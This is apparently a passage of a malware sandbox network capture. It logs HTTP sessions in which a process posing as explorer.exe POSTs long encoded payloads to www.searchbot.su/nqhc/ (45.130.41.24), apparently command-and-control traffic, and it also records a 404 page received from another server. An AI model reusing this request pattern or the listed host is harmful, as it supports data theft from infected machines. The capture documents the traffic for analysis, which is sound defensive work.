zfZk7ODdHfz92iE9asMJQyDDWhLNuB3ykUS~fyLHJZzUa1CE62yJBoTdzQF5HsHT5alMQ8kAbGxD24VGmBLLzxp7qTRBo7Rsdx7sbUA10sx1RKxSxRmeZLJQGfyUVRp8nIoP5lkGmhLVheHMfsZPpqvutRV2O97jXNrSD(4rGLkF1bZkNONaDiiZhr8jlvbQC7iuiHwTt~VRiYU7zHocD3-V3i2qoPFWhTYAm~rKnVSEnjM1Dpv9kWk2PPLeAg5bJQcNkoFH-CCDkxLUuU5ADbn7QBOW1xl4BMeT2lnAAC2oKQc098EDTc9BbNOkAc2Hpz1SJFvq3wZaHuRXGrcEjtLjqdX5A(Dm1RxiWDliVAFs_Mb1AmyNRflgp1T4Pv9bQ8xtyXvWqbOOu5j4V3FEPu61Z6ALC0OkhdgC8Re8CvtZSfI8VQ7Rem3y5aKyG2IYuoMn-L0x9zQlq2BJQAoLlGmfGDtFgZH7o226XqIMzSTQU52M_MBAZ1XDM6JX7ZiZhC3MV2uxFVByoxyd9of6gnG8eEU~jDdvszaCjCZo0VSVwwjdKIO3T(jDcTErcshGNbVjUAmJHMWv6dd4ORhlRuuoN1eLPlc(WGoeeIfxqN9HNFEqOU5oT00e48s01N47WKVg8gjlHIkxEV4Fj1PKoqA2zIAIHDZbE0LTumwcW73ytPn3De-HrJ1JBU3rsygqzlt1n8vcAp3dPAy1TpouAXptWx2Mu2SOhrg~9mwQyG9Ba2EzKWpkBVWiEvGreVG8u7_YV6KBgq3NTf13eikNMVZc7qWDvM-3V091K(CScjlL51AqsxmjTZ2ylX5gW6ERL6dLjJKDPtjgLdHHxw0DJ44k3goeNk8hc~AHRWUXhmpkPY3ooKTVrl6KwUyG9FWiKXAVl5r~ou3lSUiYsmc(LR5GXyQVOJPbXv0NX5AyNWqDjfjsu(h(iuV62oZ4bVUYuBqZlMV~1reg04Q82cvAU~XY6op04IofonFe9jB4VLomxQDkhZhriUoAkt2RfvmThPYCLfh7RpAHxfn06pVHo6bGGtuH7eDCHkQSv13r99BYR7vS0wMjmKx6bsyb2VDYoYDcB0Z8TuzinyJmBzG8W~vZQRk7mTuWsLXSeIoiibnF3lpGuwzt2Qgc1cWs98aLohCjZD0O7fw(ehFlSVG9EKqoKhrEo6wiCA_gF3xlS5lB0rDc5S-ffnb2zGG(6GdcVjRiy8Y44o1FceLz7l5nBkhrBhC(tZyImgi7P(zEAMh6pJgYJ8ufv1kz7wJ(GMtpQuP0nGL9mbAph7ZSHIpCg7aTQ(MeXD61ke5kZRiQ8yeygUfsr0Oeo8rBn5pRN30UX84fJwEi5MpF2sIh70-zt4EKR66YDB7gQl-Rd2ZMeQamY5KEOLcmkpdrjO1eit7N7y2t0Z8o6Zzf_pI9YwIlkGnmDoA6ei88dYDlEQv9sCtrLim1OznZDLaOP5If74FESfSvNqu2gX7OH3G1MMkeNFHQ2pHzPG44eW2GnwfhtUngR9EnJJNtM(QTq80KOg7nxT828ymEo7LGFxDMzitqefDA-ovr-CFu23f1GWzUmJob4pHP2vyYYnz0TDBJY6vbi2SjCMNhj7z3IJsGZBXvOha3geDgSSLVk08QYl2402w9jx5(NbD5Vy08ztVgp~L0ztBZl4MdcOGxsISfbDblpFH9hcA(NOyC65GcYSnCjaaqjP3ubxhUt~FiHxNlB~X4OkcrAR5rFzUMluKm30_fGzgE0x4yi7ldG~v1LZvlwtBKS3acZSMKrora1UGv4FE~RU668sNrNimo53G31sXeUxyd4Y_NYteHuaA0GxXP39mHkOx5x7gpsznfr0LCqHmfmrNKYKM4h9rhK6HN95LR1fp1Dn9IA3Vz76fq0pavPG4sWSYhsrejt3b1OeweaUEKVgeJrK96UoTbF03RIq1wnxJEC3RXfYE3fLr8o4h3dIS0T2QXVwRmnbcYBbfN1qaJxNhz4fPrnsam38OQomI40vteHegLpokx33yllWKLk4QVnnn6tJXbLKMm07JedwVUHVbqzurQ3LVhpL5TgSzKJXU8_xEj523~bqli4denbQZP18hulLqsYzkUF4htLzLp8r-S_yJYmUCRJUf6HAO0lD8st~RIJ8NyE420YMjA4J8~Qry~kDMJJ5qkMgzVsVQqXgxohw0w8puMOWsVqqm6ZxtIsghdCJ93cFNrB0PsiDYuFR2Ohz04_xUpA30McS0zSXZO7mk5oqeU9QzOABQODPILzcRlUrSPlon5kshoSEobb(yU2wUAyswTPrUkFNhf8T-IaLRBiDVP8z2ESivzSQFbgEBPjVe0eiCBsz90bNEYOZIDguFm8LoelYV7MPdy7wP189lmnMESTemIwc0RQ37K91dv9pkeiT9ID0URxEcNPWpfPeu77AeQbJw7zmTakoZ8AgKe3h4HYisTlCYcPOuuzfE2jeJIdTyMAw1g-2m30ysKmhgoa71w4m8wxIe8yLCr7xolBHm6HkudXQ6olPCc9z43h3xfOqf(ieJBO5u~-0Tq9QK3dFt~dy4grV-reYn~oswlrS_6W4EQHQSfKnRbpZuvGnkBL36ahQWTt~QRdCjmikwmLjfvIYG7LDqRRhmyrddmafcaqS6UlrD44rmPYtTrcA-d7KfQ42O0Dplf-VwPRZRGcmGky2wxGtjuHNbP7BU58AfzGB2hYQGtY8127Qh871X63g7fvajFmYf2uC0CvYmyQZ8lgXN3gPDr5Xt0JZRXdR7OBlInnXDFj19lStoWJDNChE9e7yz7uB4MNXCChmUu2ufxt0cB1991b5MPc6s1YiDT-gMT119R2WcIVA_1paWgyIsfQjN1XYLWLxdUD5n3U9FNFA7mZiqADM8zYrl(hIdw3kPze4S01omIxF2FTP5Gqlg4R~N6L~H82WUX3d1c8NL1_5a7gUC5zT7JKMFXz(PpBOC(Di546YPo5cNCzn9SautHmnKO1z6ErauLxmjYSffQnuxc5CwjP1Ky6SzAmayFO81(uU3aXMqNW~xrfHUfyb6169MHQ7vNBhAJatLnA13hAsUHVrX
Nov 21, 2022 19:22:59.718485117 CET	1373	OUT	Data Raw: 56 50 43 7a 64 34 31 71 52 71 72 31 4a 70 30 5a 4d 7a 58 44 6d 73 59 72 57 76 53 62 28 39 35 69 41 43 38 46 64 35 72 6a 51 59 53 43 53 64 48 41 49 6d 6c 5f 32 45 36 55 76 45 71 46 30 65 52 73 61 5a 43 4f 6f 55 43 70 4e 43 53 57 59 7a 56 4a 6a 53 Data Ascii: VPCzd41qRqr1Jp0ZMzXDmsYrWvSb(95iAC8Fd5rjQYSCSdHAIml_2E6UvEqF0eRsaZCOoUCpNCSWYzVJjSHsOn2FSsznX9bLffN4RV2t3HCOIQdU(oh8V011GJ(djLxaDLRd65MLfrtYQ8ZO(ieAOJM1CYs5tg68OIRkXrpdyfaHAJftECmqllUWY-2CUNyf6jUyUWJBu0wPuMHP3d4xJW3H1HKB8v~A7Vls4gVAf_gLK1g5kRO
Nov 21, 2022 19:22:59.764189959 CET	1378	OUT	Data Raw: 6d 79 64 36 5a 39 45 6c 28 62 6f 2d 76 46 4e 4d 6b 44 46 37 78 4e 72 73 4a 32 48 68 4c 5a 79 39 64 71 62 48 64 39 6a 7a 37 50 31 36 78 71 4e 43 48 53 55 5a 67 59 48 56 64 43 6a 50 50 6f 52 79 6d 66 69 71 46 75 62 50 7e 39 38 30 77 78 48 4c 77 2d Data Ascii: myd6Z9El(bo-vFNMkDF7xNrsJ2HhLZy9dqbHd9jz7P16xqNCHSUZgYHVdCjPPoRymfiqFubP~980wxHLw-eAwk~7xnWZaSSnvSWrbCPt(PLBTHXDWmBu~0nwNFvJ2yxUdGx8p13OjCkd0AEdkY5C(AKYDKQ291jvmHabCRbt3Fdlneoq(ylV9e~HTa~c6UrZwR1ZS3GBpS9sv6PG8z6b4yJussYl6KSBJAyIqNSsWDYVcbu7Bpt
Nov 21, 2022 19:22:59.764267921 CET	1381	OUT	Data Raw: 36 4b 4d 78 6e 6b 68 53 7a 61 68 73 58 33 62 5f 34 52 7a 33 32 4e 39 4c 50 76 38 44 42 55 45 4c 5a 69 35 4b 4c 46 4b 47 79 67 7a 51 63 53 4b 47 32 63 43 6d 75 44 42 4d 31 4b 6d 34 42 41 7a 73 69 66 43 73 79 61 71 68 52 5a 6e 62 54 57 4b 73 44 70 Data Ascii: 6KMxnkhSzahsX3b_4Rz32N9LPv8DBUELZi5KLFKGygzQcSKG2cCmuDBM1Km4BAzsifCsyaqhRZnbTWKsDpTpvMORvWTFVNCZN7wvgduPbuO0LLsfkZg7m2snGO5fYnapb6rtfE6kLqKUnxdcO7K4BwTQFB0dXUQpR2q6hCvLftaSNuGN9aUeg88GpMmcJsbFlqL54wpn6moUn5VJqujbdJ7mktJfnjFSLJreqWq6CaQnmDkg4CS
Nov 21, 2022 19:22:59.764475107 CET	1383	OUT	Data Raw: 4b 5f 6d 54 64 76 52 44 68 73 39 67 70 45 33 53 75 57 37 59 63 36 58 36 31 65 6a 48 5a 67 38 62 4c 51 7e 47 52 71 37 44 32 66 6c 6b 6b 69 46 34 6c 71 63 41 6e 57 7a 43 37 55 50 6d 4e 78 59 44 42 46 4c 4c 6d 72 39 39 58 6a 30 34 69 7a 4b 70 42 4c Data Ascii: K_mTdvRDhs9gpE3SuW7Yc6X61ejHZg8bLQ~GRq7D2flkkiF4lqcAnWzC7UPmNxYDBFLLmr99Xj04izKpBLsaUvf3eySjA2Q3F8YneeCF5ayb(Eh04KMjmdKdW5lEY4Mpac3HGRAIjMId2GQ3wZO-lDwPbDzDO0KyWXlNKqROPzo_(CD4FNztr4QmCtxTUctAezpLnWfRPbiKsqmBf92ZIbqibd0H32oP3DQIFKJsceuDaAVMxje
Nov 21, 2022 19:22:59.764657974 CET	1398	OUT	Data Raw: 41 34 66 52 7a 45 78 47 4d 77 4d 6d 48 37 59 50 4b 32 58 59 33 4d 77 61 54 54 68 50 52 38 79 35 64 67 4e 47 4e 76 78 4f 62 75 61 78 52 45 48 66 46 31 41 6b 35 44 53 35 7a 64 38 4a 70 56 7a 37 6c 5f 6d 38 64 76 53 54 28 6b 42 68 78 43 33 41 28 67 Data Ascii: A4fRzExGMwMmH7YPK2XY3MwaTThPR8y5dgNGNvxObuaxREHfF1Ak5DS5zd8JpVz7l_m8dvST(kBhxC3A(gxzxdBz7s66ug15ADy_eutl2biceH(fcIO7(aLn0dIB8_iMKxuthEwArYBkGaMpIOSalO8Murpogha33LJjUvQZZ4XAjXNR9OYSNn0F7yDZxVzpCFn5kOUJJV8BYc5EjRz70XaJYzqNlxnL4NADMV98KG1hO3iit09
Nov 21, 2022 19:22:59.810089111 CET	1401	OUT	Data Raw: 6f 33 62 59 28 78 7e 30 37 6d 64 51 53 50 52 65 4e 6b 52 31 67 46 4d 48 67 59 50 2d 4a 55 75 76 56 4d 74 68 42 45 72 71 61 4d 39 4c 55 69 73 5a 65 39 4b 33 76 5f 49 54 4d 77 70 37 52 65 48 37 79 55 7a 54 6b 33 4d 39 4c 31 6f 76 64 49 72 6f 64 43 Data Ascii: o3bY(x~07mdQSPReNkR1gFMHgYP-JUuvVMthBErqaM9LUisZe9K3v_ITMwp7ReH7yUzTk3M9L1ovdIrodCHgx82sxdrlKn3Op5BqofNJFvlWBwH7AqQAvao3Sn(uD8b0MfpNNy8G5vO9(MGlVsyL4GGgJiafDy6RbKuJHh8wF1ieKR9R2WeXXc5LUrvcnAWdpEBpDZKkHSYNrsJVffycIKIN3eFz0EYM53lcAt7vK9zeGhe1JoU
Nov 21, 2022 19:22:59.810173035 CET	1406	OUT	Data Raw: 57 52 44 41 4d 49 38 34 50 66 55 71 45 55 4d 31 5a 34 6a 31 57 78 57 4b 78 34 50 41 74 75 48 62 67 32 67 67 4b 47 68 6e 62 59 34 53 6b 42 70 6b 76 34 63 63 43 4f 35 5f 36 6b 43 74 34 76 37 6c 47 65 32 41 47 55 41 46 63 61 65 57 6d 4f 59 6f 35 36 Data Ascii: WRDAMI84PfUqEUM1Z4j1WxWKx4PAtuHbg2ggKGhnbY4SkBpkv4ccCO5_6kCt4v7lGe2AGUAFcaeWmOYo56MKdbDEGuTTPUXQaH1TccrUj0adNmqFeaT5h2gyZKLc6_BayqtWHd5r~AONSIk5D-7aPMKfQzRXyTnEzh5LuKC-2Ukr0XKlYHorGmWmXlna18aDb5ucSMQOMU0c(LaGQDj0xsH6Zl2iSfsat6aA4v6CN8OZW_8tYkx
Nov 21, 2022 19:22:59.810406923 CET	1412	OUT	Data Raw: 6e 64 6c 74 66 51 36 77 5a 6b 37 77 66 45 74 4e 63 6e 6d 54 50 61 74 79 7a 38 4c 68 74 66 39 46 6f 6c 55 2d 71 5a 62 62 79 39 58 51 6d 43 6c 39 4e 4d 78 36 76 45 74 75 68 58 33 47 78 6c 35 59 75 74 38 38 65 5f 4f 47 78 35 30 54 65 2d 45 53 59 77 Data Ascii: ndltfQ6wZk7wfEtNcnmTPatyz8Lhtf9FolU-qZbby9XQmCl9NMx6vEtuhX3Gxl5Yut88e_OGx50Te-ESYwAZhESpenFNDzV0hUU0ojmt03kXbZ33SYEeZVuJTT4GFIwUYpfyhE32DP1BT16VhY5pW5ZNA7IrJ8pCWUP38SZcOQt91zmvA76W56YJV_nvX-e8m5ecULTjGY~HurqGuSeFPa2-mmD17-BN(wCAIgVWvy5e7ij9Zm5
Nov 21, 2022 19:22:59.859210014 CET	1414	IN	HTTP/1.1 404 Not Found Server: openresty Date: Mon, 21 Nov 2022 18:22:59 GMT Content-Type: text/html; charset=utf-8 Content-Length: 39481 Connection: close Accept-Ranges: bytes Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e d0 9e d1 88 d0 b8 d0 b1 d0 ba d0 b0 20 34 30 34 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 63 73 73 32 3f 66 61 6d 69 6c 79 3d 4e 6f 74 6f 2b 53 61 6e 73 3a 77 67 68 74 40 34 30 30 3b 37 30 30 26 61 6d 70 3b 64 69 73 70 6c 61 79 3d 73 77 61 70 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 0a 20 20 20 20 3c 73 63 72 69 70 74 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 79 61 73 74 61 74 69 63 2e 6e 65 74 2f 70 63 6f 64 65 2f 61 64 66 6f 78 2f 6c 6f 61 64 65 72 2e 6a 73 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3d 22 61 6e 6f 6e 79 6d 6f 75 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 20 20 20 20 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 6c 61 6e 67 75 61 67 65 3d 22 6a 61 76 61 73 63 72 69 70 74 22 20 3e 0a 76 61 72 20 70 75 6e 79 63 6f 64 65 20 3d 20 6e 65 77 20 66 75 6e 63 74 69 6f 6e 20 50 75 6e 79 63 6f 64 65 28 29 20 7b 0a 20 20 20 20 74 68 69 73 2e 75 74 66 31 36 20 3d 20 7b 0a 20 20 20 20 20 20 20 20 64 65 63 6f 64 65 3a 66 75 6e 63 74 69 6f 6e 28 69 6e 70 75 74 29 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 76 61 72 20 6f 75 74 70 75 74 20 3d 20 5b 5d 2c 20 69 3d 30 2c 20 6c 65 6e 3d 69 6e 70 75 74 2e 6c 65 6e 67 74 68 2c 76 61 6c 75 65 2c 65 78 74 72 61 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 77 68 69 6c 65 20 28 69 20 3c 20 6c 65 6e 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 76 61 6c 75 65 20 3d 20 69 6e 70 75 74 2e 63 68 61 72 43 6f 64 65 41 74 28 69 2b 2b 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 69 66 20 28 28 76 61 6c 75 65 20 26 20 30 78 46 38 30 30 29 20 3d 3d 3d 20 30 78 44 38 30 30 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 65 78 74 72 61 20 3d 20 69 6e 70 75 74 2e 63 68 61 72 43 6f 64 65 41 74 28 69 2b 2b 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 69 66 20 28 20 28 28 76 61 6c 75 65 20 26 20 30 78 46 43 30 30 29 20 21 3d 3d 20 30 78 44 38 30 30 29 20 7c 7c 20 28 28 65 78 74 72 61 20 26 20 30 78 46 43 30 30 29 20 21 3d 3d 20 30 78 44 43 30 30 29 20 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 74 68 72 6f 77 20 6e 65 77 20 52 61 6e 67 65 45 72 72 6f 72 28 22 55 54 46 2d 31 36 28 64 65 63 6f 64 65 29 3a 20 49 6c 6c 65 67 61 6c 20 55 54 46 2d 31 36 20 73 65 71 75 65 6e 63 65 22 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 76 61 6c 75 65 20 3d 20 28 28 76 61 6c 75 65 20 26 20 30 78 33 46 46 29 20 3c 3c 20 31 30 29 20 2b 20 28 65 78 74 72 61 20 26 20 30 78 33 46 46 29 20 2b 20 30 78 31 30 30 30 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: <!DOCTYPE html><html lang="en"><head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title> 404</title> <link href="https://fonts.googleapis.com/css2?family=Noto+Sans:wght@400;700&display=swap" rel="stylesheet"> <script src="https://yastatic.net/pcode/adfox/loader.js" crossorigin="anonymous"></script> <script type="text/javascript" language="javascript" >var punycode = new function Punycode() { this.utf16 = { decode:function(input){ var output = [], i=0, len=input.length,value,extra; while (i < len) { value = input.charCodeAt(i++); if ((value & 0xF800) === 0xD800) { extra = input.charCodeAt(i++); if ( ((value & 0xFC00) !== 0xD800) \|\| ((extra & 0xFC00) !== 0xDC00) ) { throw new RangeError("UTF-16(decode): Illegal UTF-16 sequence"); } value = ((value & 0x3FF) << 10) + (extra & 0x3FF) + 0x10000; }
Nov 21, 2022 19:22:59.859307051 CET	1416	IN	Data Raw: 6f 75 74 70 75 74 2e 70 75 73 68 28 76 61 6c 75 65 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 72 65 74 75 72 6e 20 6f 75 74 70 75 74 3b 0a 20 20 20 20 20 20 20 20 7d 2c 0a 20 20 20 20 20 20 20 20 65 6e Data Ascii: output.push(value); } return output; }, encode:function(input){ var output = [], i=0, len=input.length,value; while (i < len) { value = input[i++];
Nov 21, 2022 19:22:59.859385014 CET	1417	IN	Data Raw: 74 61 20 2f 20 64 61 6d 70 29 20 3a 20 28 64 65 6c 74 61 20 3e 3e 20 31 29 3b 0a 20 20 20 20 20 20 20 20 64 65 6c 74 61 20 2b 3d 20 4d 61 74 68 2e 66 6c 6f 6f 72 28 64 65 6c 74 61 20 2f 20 6e 75 6d 70 6f 69 6e 74 73 29 3b 0a 0a 20 20 20 20 20 20 Data Ascii: ta / damp) : (delta >> 1); delta += Math.floor(delta / numpoints); for (k = 0; delta > (((base - tmin) * tmax) >> 1); k += base) { delta = Math.floor(delta / ( base - tmin )); } return Math.floo
Nov 21, 2022 19:22:59.859453917 CET	1418	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 74 68 72 6f 77 20 52 61 6e 67 65 45 72 72 6f 72 20 28 22 70 75 6e 79 63 6f 64 65 5f 62 61 64 5f 69 6e 70 75 74 28 31 29 22 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: throw RangeError ("punycode_bad_input(1)"); } digit = decode_digit(input.charCodeAt(ic++)); if (digit >= base) { throw RangeError("puny
Nov 21, 2022 19:22:59.859509945 CET	1420	IN	Data Raw: 30 2c 20 6c 65 6e 20 3d 20 6f 75 74 70 75 74 2e 6c 65 6e 67 74 68 3b 20 69 20 3c 20 6c 65 6e 3b 20 69 2b 2b 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 69 66 20 28 63 61 73 65 5f 66 6c 61 67 73 5b 69 5d 29 20 7b 0a 20 20 20 20 20 Data Ascii: 0, len = output.length; i < len; i++) { if (case_flags[i]) { output[i] = (String.fromCharCode(output[i]).toUpperCase()).charCodeAt(0); } } } return this.utf16.enco
Nov 21, 2022 19:22:59.859563112 CET	1421	IN	Data Raw: 30 3b 20 6a 20 3c 20 69 6e 70 75 74 5f 6c 65 6e 67 74 68 3b 20 2b 2b 6a 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 69 6a 76 20 3d 20 69 6e 70 75 74 5b 6a 5d 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 69 66 20 28 69 6a Data Ascii: 0; j < input_length; ++j) { ijv = input[j]; if (ijv >= n && ijv < m) m = ijv; } if (m - n > Math.floor((maxint - delta) / (h + 1))) { throw RangeError("punycode_overflow
Nov 21, 2022 19:22:59.859633923 CET	1422	IN	Data Raw: 6f 41 53 43 49 49 20 3d 20 66 75 6e 63 74 69 6f 6e 20 28 20 64 6f 6d 61 69 6e 20 29 20 7b 0a 20 20 20 20 20 20 20 20 76 61 72 20 64 6f 6d 61 69 6e 5f 61 72 72 61 79 20 3d 20 64 6f 6d 61 69 6e 2e 73 70 6c 69 74 28 22 2e 22 29 3b 0a 20 20 20 20 20 Data Ascii: oASCII = function ( domain ) { var domain_array = domain.split("."); var out = []; for (var i=0; i < domain_array.length; ++i) { var s = domain_array[i]; out.push( s.match(/[^A-Za
Nov 21, 2022 19:22:59.859689951 CET	1424	IN	Data Raw: 65 65 6e 3b 0a 20 20 20 20 20 20 20 20 7d 0a 0a 20 20 20 20 20 20 20 20 2e 6c 6f 67 6f 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 33 30 70 78 20 34 30 70 78 3b 0a 20 20 20 20 20 20 20 20 7d 0a 0a 20 20 20 20 20 20 20 Data Ascii: een; } .logo { padding: 30px 40px; } .content { display: flex; justify-content: space-between; margin: 0 82px; } .left { display: fl
Nov 21, 2022 19:22:59.859743118 CET	1425	IN	Data Raw: 3a 20 31 35 70 78 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 3c 2f 73 74 79 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 68 65 61 64 65 72 3e 0a 20 20 20 20 20 20 20 20 3c 64 69 76 20 Data Ascii: : 15px; } } </style></head><body><header> <div class="logo"> <a href="https://www.nic.ru/"> <svg width="100" height="42" viewBox="0 0 100 42" fill="none" xmlns="http://www.w3.org/2
Nov 21, 2022 19:22:59.859812021 CET	1426	IN	Data Raw: 32 30 2e 39 34 37 35 5a 22 20 66 69 6c 6c 3d 22 23 31 34 32 39 35 45 22 3e 3c 2f 70 61 74 68 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 70 61 74 68 20 64 3d 22 4d 35 33 2e 31 35 30 39 20 31 34 2e 31 37 38 38 43 35 33 2e Data Ascii: 20.9475Z" fill="#14295E"></path> <path d="M53.1509 14.1788C53.1695 14.0678 53.1828 13.9659 53.1923 13.8744C53.2017 13.7815 53.2065 13.6867 53.2065 13.5876C53.2065 13.1011 53.0556 12.7287 52.7556 12.47C52.455 12.211 52.0227
Nov 21, 2022 19:22:59.905247927 CET	1428	IN	Data Raw: 36 34 30 35 20 31 30 2e 30 34 39 34 43 36 35 2e 39 36 37 38 20 31 30 2e 30 34 39 34 20 36 35 2e 33 35 32 31 20 31 30 2e 31 37 35 37 20 36 34 2e 37 39 32 20 31 30 2e 34 32 35 37 43 36 34 2e 32 33 31 37 20 31 30 2e 36 37 37 39 20 36 33 2e 36 31 33 Data Ascii: 6405 10.0494C65.9678 10.0494 65.3521 10.1757 64.792 10.4257C64.2317 10.6779 63.6136 11.0274 62.9346 11.475L63.2065 10.3343L58.7385 10.3351L58.2337 12.5144H59.3852L57.5098 20.6619H60.8287L62.5044 13.3418C62.9323 13.1149 63.3172 12.9453 63.6601

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
5	192.168.11.20	49828	45.130.41.24	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Nov 21, 2022 19:20:21.453052998 CET	500	OUT	POST /nqhc/ HTTP/1.1 Host: www.searchbot.su Connection: close Content-Length: 51815 Cache-Control: no-cache Origin: http://www.searchbot.su User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.searchbot.su/nqhc/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 72 34 74 78 42 3d 39 6a 5a 50 44 69 71 45 4a 47 6e 31 77 35 58 63 4b 78 6a 33 4a 4d 74 72 55 4a 61 52 6c 55 4b 56 30 70 74 4f 30 50 6f 36 35 37 69 38 66 4d 30 44 33 5a 4a 38 41 57 66 6c 37 70 69 75 37 76 75 48 30 4d 41 58 33 48 50 4b 63 61 68 58 48 44 62 33 4a 30 35 2d 52 44 65 75 52 55 43 4c 72 47 31 4d 32 69 75 47 35 59 45 66 73 65 57 4f 57 4e 70 66 77 69 75 37 65 79 48 6a 57 6a 61 6d 6f 79 66 46 6c 49 4c 7a 4f 61 30 4d 78 31 65 51 34 6c 51 59 51 44 6d 5a 67 71 31 67 77 38 7a 4c 53 6e 46 34 59 45 4e 4d 55 77 73 47 7e 76 42 42 56 50 77 5a 46 75 38 77 50 57 32 6b 59 72 50 53 6a 55 31 44 4f 54 61 44 51 6c 4e 65 59 49 76 58 4c 61 62 30 45 37 41 47 75 7a 65 38 59 48 33 36 43 43 6f 5f 56 48 6f 4b 6f 72 6d 30 6c 57 31 4b 59 4a 43 38 6a 50 79 37 51 30 30 4c 65 47 6a 37 6e 69 59 47 39 55 35 36 71 79 36 5a 50 6d 4f 46 48 54 35 48 61 43 59 6f 57 4c 44 44 45 42 4c 6e 44 58 5a 47 78 31 43 65 50 71 32 67 62 6a 48 44 54 4f 49 44 56 44 6a 63 6c 62 7a 45 38 6b 35 63 34 33 42 65 4a 71 61 66 4a 4d 69 71 62 41 4e 77 54 36 57 59 66 6a 41 45 4f 71 78 7a 6f 37 28 6c 6f 34 7a 6c 73 4e 59 31 6c 4b 77 57 77 5a 52 61 34 4f 72 65 74 6e 31 70 70 69 6b 31 48 2d 32 6b 6a 6d 78 69 6e 72 5a 4b 48 72 6c 7a 37 5a 6c 6e 4a 79 68 45 74 74 6c 75 39 36 47 54 44 31 39 6a 68 61 64 49 5a 64 37 70 6b 46 38 5f 7a 46 28 57 4b 65 69 5f 38 35 54 6e 61 34 4a 55 55 68 42 35 39 4b 35 47 50 31 4b 36 4d 31 55 37 7e 59 33 35 53 39 4b 76 6a 75 65 31 6c 46 47 72 45 46 49 45 67 6d 6a 67 63 71 38 79 71 4b 57 63 69 4a 70 76 55 75 44 51 4a 42 7a 61 78 6b 6f 6a 4e 79 46 52 6b 50 41 44 57 76 41 4c 4f 42 45 44 74 6f 44 65 4c 62 43 67 53 6c 71 6c 6b 4e 6f 37 67 44 57 43 70 49 77 36 49 51 6b 7a 68 75 43 61 33 5a 4b 6f 6c 68 4b 41 30 62 36 67 65 70 77 78 39 75 38 31 6a 4e 46 4c 6e 69 41 6c 39 47 57 52 4e 49 6b 4a 76 53 57 37 61 5f 43 52 48 58 79 65 79 55 42 66 38 5a 46 6f 54 67 70 4d 49 79 6f 76 50 4f 63 42 64 32 4f 42 6c 6b 4a 55 77 4a 66 70 59 59 49 6b 52 62 74 4a 53 7a 56 49 41 72 5a 4e 59 58 79 37 49 66 4c 71 32 42 36 66 48 41 59 41 37 70 56 6d 30 36 46 47 7a 79 55 41 75 58 34 4e 7e 35 63 61 30 49 4c 34 49 73 7a 4d 56 38 46 43 61 57 66 56 28 54 51 51 6d 58 6f 41 74 61 49 75 31 4f 44 4a 34 57 30 5f 6c 59 57 51 49 52 6d 69 4a 32 68 34 70 45 38 66 65 47 66 6d 4c 76 36 49 78 64 38 63 4a 71 74 4b 4e 73 6f 38 49 75 6f 66 6b 77 68 4e 4b 6c 7a 4d 32 58 6a 32 48 57 43 58 48 57 36 4d 64 75 6d 75 71 30 4b 64 7a 4f 70 43 73 37 45 4d 68 75 74 6f 61 57 68 57 70 4e 4e 35 62 47 70 71 7e 42 4d 56 52 35 4e 47 69 52 45 48 65 35 71 6f 6e 38 7e 59 55 67 53 50 61 62 37 47 4a 4a 34 61 67 47 64 66 78 75 6a 68 59 59 37 59 4a 78 52 38 46 35 42 72 